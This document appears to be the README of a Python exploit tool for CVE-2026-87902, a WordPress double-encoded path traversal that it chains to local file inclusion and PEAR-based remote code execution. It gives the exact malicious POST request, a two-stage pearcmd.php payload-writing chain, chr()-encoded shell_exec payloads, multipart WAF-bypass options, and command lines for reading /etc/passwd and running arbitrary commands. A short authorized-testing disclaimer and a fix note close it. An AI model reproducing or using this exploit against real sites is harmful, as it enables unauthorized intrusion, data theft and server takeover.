
Python PoC and scanner for CVE-2026-87902, a WordPress core path traversal leading to LFI and PEAR-based RCE, with WAF bypass and automated exploitation.
Unauthenticated Local File Inclusion via double-encoded path traversal in WordPress core's page-template resolver, with PEAR-based RCE chain.
| Field | Value |
|---|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Critical) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Improper Control of Filename for Include/Require |
| Affected | WordPress 4.7.0 – 7.1.1 |
| Fixed | WordPress 7.1.2 + backports to all supported branches |
| Auth | None (unauthenticated) |
get_page_template() in wp-includes/template.php calls urldecode() on the pagename query parameter after sanitization has already run. A double-encoded ../ sequence (%252E%252E%252F) passes through PHP's first decode as %2E%2E%2F, survives sanitize_title_with_dashes() (which preserves %xx sequences), and is then decoded by WordPress's late urldecode() call into ../ — escaping the theme directory.
The POST method is required because redirect_canonical() returns early for non-GET/HEAD requests, preventing the path from being normalized before reaching the vulnerable code.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php files outside the theme directory are included and executedpearcmd.php gadget chain (requires PEAR installed + register_argc_argv=On)Two anonymous POST requests achieve RCE:
Stage 1 — Include pearcmd.php via traversal. The query string /?+config-create+/<php-payload>+<output>.php becomes PEAR's argv. The config-create command writes attacker-controlled data (including PHP tags) to a writable directory.
Stage 2 — Include the file written by PEAR. The embedded PHP executes with web-server privileges.
PHP payloads use chr() encoding (<?=shell_exec(chr(105).chr(100))?>) to avoid quote characters that wp_magic_quotes() would escape.
cve-2026-87902.py — automated checker + LFI scanner + PEAR RCE exploit. Uses http.client for byte-exact request control (no library re-encoding).
Python 3.6+ (standard library only — no pip dependencies)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-* directories--multipart wraps the payload in multipart/form-data to evade WAF pattern matchingchr()-encoded payloads| Marker | Meaning |
|---|---|
[HIT] | File was successfully included |
[---] | Normal response (file not included) |
[???] | Response differs significantly — worth investigating |
[WAF] | Blocked by WAF (403) |
[ERR] | Connection failed |
page-* directory (e.g. page-templates/)pearcmd.php readable + register_argc_argv=On + writable /tmpUpdate to WordPress 7.1.2 or the latest security release for your branch (backports available to 4.7).
This tool is provided for authorized security testing and bug bounty research only. Only use it against systems you have explicit permission to test. Unauthorized access to computer systems is illegal.